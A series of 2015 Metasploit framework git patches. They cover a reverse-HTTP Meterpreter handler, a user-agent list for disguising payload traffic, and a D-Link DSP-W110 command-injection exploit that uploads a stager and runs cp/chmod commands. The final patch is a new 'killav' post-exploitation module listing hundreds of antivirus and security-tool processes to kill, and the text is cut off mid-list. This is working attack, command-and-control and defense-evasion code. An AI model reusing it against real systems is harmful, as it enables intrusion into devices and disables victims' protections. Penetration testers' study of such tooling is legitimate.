    ' ]), + OptString.new('ReverseListenerComm', [false, 'The specific communication channel to use for this listener']), + OptString.new('MeterpreterUserAgent', [false, 'The user-agent that the payload should use for communication', Rex::UserAgent.shortest]), + OptString.new('MeterpreterServerName', [false, 'The server header that the handler will send in response to requests', 'Apache']), + OptAddress.new('ReverseListenerBindAddress', [false, 'The specific IP address to bind to on the local system']), + OptInt.new('ReverseListenerBindPort', [false, 'The port to bind to on the local system if different from LPORT']), + OptBool.new('OverrideRequestHost', [false, 'Forces clients to connect to LHOST:LPORT instead of keeping original payload host', false]), + OptString.new('HttpUnknownRequestResponse', [false, 'The returned HTML response body when the handler receives a request that is not from a payload', '

    It works!

    ']), OptBool.new('IgnoreUnknownPayloads', [false, 'Whether to drop connections from payloads using unknown UUIDs', false]) ], Msf::Handler::ReverseHttp) end @@ -64,7 +65,7 @@ module ReverseHttp # # @return [String] def listener_address - if datastore['ReverseListenerBindAddress'].to_s == "" + if datastore['ReverseListenerBindAddress'].to_s == '' bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0' else bindaddr = datastore['ReverseListenerBindAddress'] @@ -101,7 +102,7 @@ module ReverseHttp # Use the {#refname} to determine whether this handler uses SSL or not # def ssl? - !!(self.refname.index("https")) + !!(self.refname.index('https')) end # URI scheme @@ -109,7 +110,7 @@ module ReverseHttp # @return [String] One of "http" or "https" depending on whether we # are using SSL def scheme - (ssl?) ? "https" : "http" + (ssl?) ? 'https' : 'http' end # Create an HTTP listener @@ -117,7 +118,7 @@ module ReverseHttp def setup_handler comm = datastore['ReverseListenerComm'] - if (comm.to_s == "local") + if (comm.to_s == 'local') comm = ::Rex::Socket::Comm::Local else comm = nil @@ -136,7 +137,7 @@ module ReverseHttp 'MsfExploit' => self, }, comm, - (ssl?) ? datastore["HandlerSSLCert"] : nil + (ssl?) ? datastore['HandlerSSLCert'] : nil ) self.service.server_name = datastore['MeterpreterServerName'] @@ -165,7 +166,7 @@ module ReverseHttp # def stop_handler if self.service - self.service.remove_resource("/") + self.service.remove_resource('/') if self.service.resources.empty? && self.sessions == 0 Rex::ServiceManager.stop_service(self.service) end @@ -183,7 +184,7 @@ protected info = {} return @proxy_settings if @proxy_settings - if datastore['PayloadProxyHost'].to_s == "" + if datastore['PayloadProxyHost'].to_s == '' @proxy_settings = info return @proxy_settings end @@ -204,10 +205,10 @@ protected info[:info] = "socks=#{info[:info]}" else info[:info] = "http://#{info[:info]}" - if datastore['PayloadProxyUser'].to_s != "" + if datastore['PayloadProxyUser'].to_s != '' info[:username] = datastore['PayloadProxyUser'].to_s end - if datastore['PayloadProxyPass'].to_s != "" + if datastore['PayloadProxyPass'].to_s != '' info[:password] = datastore['PayloadProxyPass'].to_s end end @@ -359,7 +360,7 @@ protected when :connect print_status("#{cli.peerhost}:#{cli.peerport} (UUID: #{uuid.to_s}) Attaching orphaned/stageless session ...") - resp.body = "" + resp.body = '' conn_id = req.relative_resource # Short-circuit the payload's handle_connection processing for create_session @@ -367,13 +368,10 @@ protected :passive_dispatcher => obj.service, :conn_id => conn_id, :url => payload_uri(req) + conn_id + "/\x00", - # TODO ### Figure out what to do with these options given that the payload ### - # settings might not match the handler, should we instead read the remote? # - :expiration => datastore['SessionExpirationTimeout'].to_i, # - :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, # - :retry_total => datastore['SessionRetryTotal'].to_i, # - :retry_wait => datastore['SessionRetryWait'].to_i, # - ############################################################################## + :expiration => datastore['SessionExpirationTimeout'].to_i, + :comm_timeout => datastore['SessionCommunicationTimeout'].to_i, + :retry_total => datastore['SessionRetryTotal'].to_i, + :retry_wait => datastore['SessionRetryWait'].to_i, :ssl => ssl?, :payload_uuid => uuid }) @@ -383,7 +381,7 @@ protected print_status("#{cli.peerhost}:#{cli.peerport} Unknown request to #{req.relative_resource} with UA #{req.headers['User-Agent']}...") end resp.code = 200 - resp.message = "OK" + resp.message = 'OK' resp.body = datastore['HttpUnknownRequestResponse'].to_s self.pending_connections -= 1 end diff --git a/lib/rex/user_agent.rb b/lib/rex/user_agent.rb new file mode 100644 index 0000000000..9e67b0438a --- /dev/null +++ b/lib/rex/user_agent.rb @@ -0,0 +1,118 @@ +# -*- coding: binary -*- + +# +# A helper module for using and referencing comming user agent strings. +# +module Rex::UserAgent + + # + # List from https://techblog.willshouse.com/2012/01/03/most-common-user-agents/ + # This article was updated on July 11th 2015. It's probably worth updating this + # list over time. + # + # This list is in the order of most common to least common. + # + COMMON_AGENTS = [ + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko', + 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.12', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0', + 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.125 Safari/537.36', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/8.0.5 Safari/600.5.17', + 'Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.6.3 (KHTML, like Gecko) Version/7.1.6 Safari/537.85.15', + 'Mozilla/5.0 (iPad; CPU OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F69 Safari/600.1.4', + 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko', + 'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:39.0) Gecko/20100101 Firefox/39.0', + 'Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/600.5.17 (KHTML, like Gecko) Version/8.0.6 Safari/600.6.3', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/43.0.2357.81 Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:39.0) Gecko/20100101 Firefox/39.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Windows NT 5.1; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)', + 'Mozilla/5.0 (Windows NT 6.1; rv:39.0) Gecko/20100101 Firefox/39.0', + 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)', + 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.4.10 (KHTML, like Gecko) Version/8.0.4 Safari/600.4.10', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_4) AppleWebKit/600.7.11 (KHTML, like Gecko) Version/8.0.7 Safari/600.7.11', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/537.78.2 (KHTML, like Gecko) Version/6.1.6 Safari/537.78.2', + 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit/600.3.18 (KHTML, like Gecko) Version/8.0.3 Safari/600.3.18', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0', + 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10', + 'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.81 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.152 Safari/537.36', + 'Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:38.0) Gecko/20100101 Firefox/38.0', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.7.0', + 'Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.124 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.132 Safari/537.36', + 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.7.12 (KHTML, like Gecko) Version/7.1.7 Safari/537.85.16', + 'Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0', + 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.130 Safari/537.36', + 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0', + ] + + # + # Pick a random agent from the common agent list. + # + def self.random + COMMON_AGENTS.sample + end + + # + # Choose the agent with the shortest string (for use in payloads) + # + def self.shortest + @@shortest_agent ||= COMMON_AGENTS.min { |a, b| a.size <=> b.size } + end + + # + # Choose the most frequent user agent + # + def self.most_common + COMMON_AGENTS[0] + end + +end + diff --git a/modules/payloads/stagers/python/reverse_http.rb b/modules/payloads/stagers/python/reverse_http.rb index 99d168008b..1157fb49f0 100644 --- a/modules/payloads/stagers/python/reverse_http.rb +++ b/modules/payloads/stagers/python/reverse_http.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_http' module Metasploit3 - CachedSize = 446 + CachedSize = 466 include Msf::Payload::Stager diff --git a/modules/payloads/stagers/python/reverse_https.rb b/modules/payloads/stagers/python/reverse_https.rb index cc8d012738..5da0a623d7 100644 --- a/modules/payloads/stagers/python/reverse_https.rb +++ b/modules/payloads/stagers/python/reverse_https.rb @@ -9,7 +9,7 @@ require 'msf/core/payload/uuid/options' module Metasploit3 - CachedSize = 742 + CachedSize = 762 include Msf::Payload::Stager include Msf::Payload::UUID::Options From b127fdc4f5351357aed733fda98fd996b8ec0943 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 14 Jul 2015 22:32:40 -0500 Subject: [PATCH 0788/1013] rickrolling is important --- scripts/resource/bap_dryrun_only.rc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/resource/bap_dryrun_only.rc b/scripts/resource/bap_dryrun_only.rc index a8e6299d81..9689d60d65 100644 --- a/scripts/resource/bap_dryrun_only.rc +++ b/scripts/resource/bap_dryrun_only.rc @@ -8,9 +8,9 @@ run_single("set MaxSessionCount 0") # Instead of set Content, you can also do set Custom404 to redirect the client to an SE training website # For example (why don't you try this? :-) ) -# run_single("set Custom404 https://www.youtube.com/watch?v=dQw4w9WgXcQ") +run_single("set Custom404 https://www.youtube.com/watch?v=dQw4w9WgXcQ") -run_single("set HTMLContent \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"") +# run_single("set HTMLContent \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"") run_single("run") From 21375edcb2fe5bbf8efe0b116134f0b56f082fba Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Wed, 15 Jul 2015 11:21:39 +0200 Subject: [PATCH 0789/1013] final cleanup --- .../http/dlink_dspw110_cookie_noauth_exec.rb | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb index a63be7dca8..66ea232ee9 100644 --- a/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb +++ b/modules/exploits/linux/http/dlink_dspw110_cookie_noauth_exec.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Peter Adkins ', # vulnerability discovery and initial PoC - 'Michael Messner ', # Metasploit module + 'Michael Messner ' # Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => 'linux', @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE } - ], + ] ], 'DefaultTarget' => 1 )) @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote begin res = send_request_cgi({ 'uri' => '/', - 'method' => 'GET', + 'method' => 'GET' }) if res && res.headers["Server"] =~ /lighttpd\/1\.4\.34/ @@ -83,14 +83,14 @@ class Metasploit3 < Msf::Exploit::Remote @counter = 1 execute_cmdstager( :flavor => :echo, - :linemax => 95 #limited by our upload, larger payloads crash the web server + :linemax => 95 # limited by our upload, larger payloads crash the web server ) print_status("#{peer} - creating payload and executing it ...") (1 .. @counter).each do |act_file| - #the http server blocks access to our files ... we copy it to a new one - #the length of our command is restricted to 19 characters + # the http server blocks access to our files ... we copy it to a new one + # the length of our command is restricted to 19 characters cmd = "cp /t*/#{act_file} /tmp/#{act_file+@counter}" execute_final_command(cmd) cmd = "chmod +x /tmp/#{act_file+@counter}" @@ -105,8 +105,8 @@ class Metasploit3 < Msf::Exploit::Remote end def execute_command(cmd,opts) - #upload our stager to a shell script - #upload takes quite long because there is no response from the web server + # upload our stager to a shell script + # upload takes quite long because there is no response from the web server file_upload = "#!/bin/sh\n" file_upload << cmd << "\n" @@ -124,7 +124,7 @@ class Metasploit3 < Msf::Exploit::Remote 'uri' => "/web_cgi.cgi", 'vars_get' => { '&request' =>'UploadFile', - 'path' => '/tmp/', + 'path' => '/tmp/' }, 'encode_params' => false, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", @@ -137,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Remote end def execute_final_command(cmd) - #very limited space - larger commands crash the webserver + # very limited space - larger commands crash the webserver fail_with(Failure::Unknown, "#{peer} - Generated command for injection is too long") if cmd.length > 18 begin send_request_cgi({ From 7520bc9a8a300f8bafe6d065525c1fca30b69141 Mon Sep 17 00:00:00 2001 From: Marc-Andre Meloche Date: Wed, 15 Jul 2015 14:04:37 -0400 Subject: [PATCH 0790/1013] Exported Killav into a post-exploitation module I was unsure if this was the place to send the update. --- modules/post/windows/manage/killav.rb | 656 ++++++++++++++++++++++++++ 1 file changed, 656 insertions(+) create mode 100644 modules/post/windows/manage/killav.rb diff --git a/modules/post/windows/manage/killav.rb b/modules/post/windows/manage/killav.rb new file mode 100644 index 0000000000..1ac28e83ee --- /dev/null +++ b/modules/post/windows/manage/killav.rb @@ -0,0 +1,656 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Windows Post Kill Antivirus and Hips', + 'Description' => %q{ + Converted and merged several post scripts to remove a maximum of av and hips. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Marc-Andre Meloche (MadmanTM)', 'Nikhil Mittal (Samratashok)', 'Jerome Athias'], + 'Platform' => [ 'win' ], + 'SessionTypes' => [ 'meterpreter' ] + )) + end + + + def run +avs = %W{ + firesvc.exe + firetray.exe + hipsvc.exe + mfevtps.exe + mcafeefire.exe + scan32.exe + shstat.exe + tbmon.exe + vstskmgr.exe + engineserver.exe + mfevtps.exe + mfeann.exe + mcscript.exe + updaterui.exe + udaterui.exe + naprdmgr.exe + frameworkservice.exe + cleanup.exe + cmdagent.exe + frminst.exe + mcscript_inuse.exe + mctray.exe + mcshield.exe + AAWTray.exe + Ad-Aware.exe + MSASCui.exe + _avp32.exe + _avpcc.exe + _avpm.exe + aAvgApi.exe + ackwin32.exe + adaware.exe + advxdwin.exe + agentsvr.exe + agentw.exe + alertsvc.exe + alevir.exe + alogserv.exe + amon9x.exe + anti-trojan.exe + antivirus.exe + ants.exe + apimonitor.exe + aplica32.exe + apvxdwin.exe + arr.exe + atcon.exe + atguard.exe + atro55en.exe + atupdater.exe + atwatch.exe + au.exe + aupdate.exe + auto-protect.nav80try.exe + autodown.exe + autotrace.exe + autoupdate.exe + avconsol.exe + ave32.exe + avgcc32.exe + avgctrl.exe + avgemc.exe + avgnt.exe + avgrsx.exe + avgserv.exe + avgserv9.exe + avguard.exe + avgw.exe + avkpop.exe + avkserv.exe + avkservice.exe + avkwctl9.exe + avltmain.exe + avnt.exe + avp.exe + avp.exe + avp32.exe + avpcc.exe + avpdos32.exe + avpm.exe + avptc32.exe + avpupd.exe + avsched32.exe + avsynmgr.exe + avwin.exe + avwin95.exe + avwinnt.exe + avwupd.exe + avwupd32.exe + avwupsrv.exe + avxmonitor9x.exe + avxmonitornt.exe + avxquar.exe + backweb.exe + bargains.exe + bd_professional.exe + beagle.exe + belt.exe + bidef.exe + bidserver.exe + bipcp.exe + bipcpevalsetup.exe + bisp.exe + blackd.exe + blackice.exe + blink.exe + blss.exe + bootconf.exe + bootwarn.exe + borg2.exe + bpc.exe + brasil.exe + bs120.exe + bundle.exe + bvt.exe + ccapp.exe + ccevtmgr.exe + ccpxysvc.exe + cdp.exe + cfd.exe + cfgwiz.exe + cfiadmin.exe + cfiaudit.exe + cfinet.exe + cfinet32.exe + claw95.exe + claw95cf.exe + clean.exe + cleaner.exe + cleaner3.exe + cleanpc.exe + click.exe + cmesys.exe + cmgrdian.exe + cmon016.exe + connectionmonitor.exe + cpd.exe + cpf9x206.exe + cpfnt206.exe + ctrl.exe + cv.exe + cwnb181.exe + cwntdwmo.exe + datemanager.exe + dcomx.exe + defalert.exe + defscangui.exe + defwatch.exe + deputy.exe + divx.exe + dllcache.exe + dllreg.exe + doors.exe + dpf.exe + dpfsetup.exe + dpps2.exe + drwatson.exe + drweb32.exe + drwebupw.exe + dssagent.exe + dvp95.exe + dvp95_0.exe + ecengine.exe + efpeadm.exe + emsw.exe + ent.exe + esafe.exe + escanhnt.exe + escanv95.exe + espwatch.exe + ethereal.exe + etrustcipe.exe + evpn.exe + exantivirus-cnet.exe + exe.avxw.exe + expert.exe + explore.exe + f-agnt95.exe + f-prot.exe + f-prot95.exe + f-stopw.exe + fameh32.exe + fast.exe + fch32.exe + fih32.exe + findviru.exe + firewall.exe + fnrb32.exe + fp-win.exe + fp-win_trial.exe + fprot.exe + frw.exe + fsaa.exe + fsav.exe + fsav32.exe + fsav530stbyb.exe + fsav530wtbyb.exe + fsav95.exe + fsgk32.exe + fsm32.exe + fsma32.exe + fsmb32.exe + gator.exe + gbmenu.exe + gbpoll.exe + generics.exe + gmt.exe + guard.exe + guarddog.exe + hacktracersetup.exe + hbinst.exe + hbsrv.exe + hotactio.exe + hotpatch.exe + htlog.exe + htpatch.exe + hwpe.exe + hxdl.exe + hxiul.exe + iamapp.exe + iamserv.exe + iamstats.exe + ibmasn.exe + ibmavsp.exe + icload95.exe + icloadnt.exe + icmon.exe + icsupp95.exe + icsuppnt.exe + idle.exe + iedll.exe + iedriver.exe + iexplorer.exe + iface.exe + ifw2000.exe + inetlnfo.exe + infus.exe + infwin.exe + init.exe + intdel.exe + intren.exe + iomon98.exe + istsvc.exe + jammer.exe + jdbgmrg.exe + jedi.exe + kavlite40eng.exe + kavpers40eng.exe + kavpf.exe + kazza.exe + keenvalue.exe + kerio-pf-213-en-win.exe + kerio-wrl-421-en-win.exe + kerio-wrp-421-en-win.exe + kernel32.exe + killprocesssetup161.exe + launcher.exe + ldnetmon.exe + ldpro.exe + ldpromenu.exe + ldscan.exe + lnetinfo.exe + loader.exe + localnet.exe + lockdown.exe + lockdown2000.exe + lookout.exe + lordpe.exe + lsetup.exe + luall.exe + luau.exe + lucomserver.exe + luinit.exe + luspt.exe + mapisvc32.exe + mcagent.exe + mcmnhdlr.exe + mcshield.exe + mctool.exe + mcupdate.exe + mcvsrte.exe + mcvsshld.exe + md.exe + mfin32.exe + mfw2en.exe + mfweng3.02d30.exe + mgavrtcl.exe + mgavrte.exe + mghtml.exe + mgui.exe + minilog.exe + mmod.exe + monitor.exe + moolive.exe + mostat.exe + mpfagent.exe + mpfservice.exe + mpftray.exe + mrflux.exe + msapp.exe + msbb.exe + msblast.exe + mscache.exe + msccn32.exe + mscman.exe + msconfig.exe + msdm.exe + msdos.exe + msiexec16.exe + msinfo32.exe + mslaugh.exe + msmgt.exe + msmsgri32.exe + mssmmc32.exe + mssys.exe + msvxd.exe + mu0311ad.exe + mwatch.exe + n32scanw.exe + nav.exe + navap.navapsvc.exe + navapsvc.exe + navapw32.exe + navdx.exe + navlu32.exe + navnt.exe + navstub.exe + navw32.exe + navwnt.exe + nc2000.exe + ncinst4.exe + ndd32.exe + neomonitor.exe + neowatchlog.exe + netarmor.exe + netd32.exe + netinfo.exe + netmon.exe + netscanpro.exe + netspyhunter-1.2.exe + netstat.exe + netutils.exe + nisserv.exe + nisum.exe + nmain.exe + nod32.exe + normist.exe + norton_internet_secu_3.0_407.exe + notstart.exe + npf40_tw_98_nt_me_2k.exe + npfmessenger.exe + nprotect.exe + npscheck.exe + npssvc.exe + nsched32.exe + nssys32.exe + nstask32.exe + nsupdate.exe + nt.exe + ntrtscan.exe + ntvdm.exe + ntxconfig.exe + nui.exe + nupgrade.exe + nvarch16.exe + nvc95.exe + nvsvc32.exe + nwinst4.exe + nwservice.exe + nwtool16.exe + ollydbg.exe + onsrvr.exe + optimize.exe + ostronet.exe + otfix.exe + outpost.exe + outpostinstall.exe + outpostproinstall.exe + padmin.exe + panixk.exe + patch.exe + pavcl.exe + pavproxy.exe + pavsched.exe + pavw.exe + pccwin98.exe + pcfwallicon.exe + pcip10117_0.exe + pcscan.exe + pdsetup.exe + periscope.exe + persfw.exe + perswf.exe + pf2.exe + pfwadmin.exe + pgmonitr.exe + pingscan.exe + platin.exe + pop3trap.exe + poproxy.exe + popscan.exe + portdetective.exe + portmonitor.exe + powerscan.exe + ppinupdt.exe + pptbc.exe + ppvstop.exe + prizesurfer.exe + prmt.exe + prmvr.exe + procdump.exe + processmonitor.exe + procexplorerv1.0.exe + programauditor.exe + proport.exe + protectx.exe + pspf.exe + purge.exe + qconsole.exe + qserver.exe + rapapp.exe + rav7.exe + rav7win.exe + rav8win32eng.exe + ray.exe + rb32.exe + rcsync.exe + realmon.exe + reged.exe + regedit.exe + regedt32.exe + rescue.exe + rescue32.exe + rrguard.exe + rshell.exe + rtvscan.exe + rtvscn95.exe + rulaunch.exe + run32dll.exe + rundll.exe + rundll16.exe + ruxdll32.exe + safeweb.exe + sahagent.exescan32.exe + shstat.exe + tbmon.exe + vstskmgr.exe + engineserver.exe + mfevtps.exe + mfeann.exe + mcscript.exe + updaterui.exe + udaterui.exe + naprdmgr.exe + frameworkservice.exe + cleanup.exe + cmdagent.exe + frminst.exe + mcscript_inuse.exe + mctray.exe + mcshield.exe + save.exe + savenow.exe + sbserv.exe + sc.exe + scam32.exe + scan32.exe + scan95.exe + scanpm.exe + scrscan.exe + serv95.exe + setup_flowprotector_us.exe + setupvameeval.exe + sfc.exe + sgssfw32.exe + sh.exe + shellspyinstall.exe + shn.exe + showbehind.exe + smc.exe + sms.exe + smss32.exe + soap.exe + sofi.exe + sperm.exe + spf.exe + sphinx.exe + spoler.exe + spoolcv.exe + spoolsv32.exe + spyxx.exe + srexe.exe + srng.exe + ss3edit.exe + ssg_4104.exe + ssgrate.exe + st2.exe + start.exe + stcloader.exe + supftrl.exe + support.exe + supporter5.exe + svc.exe + 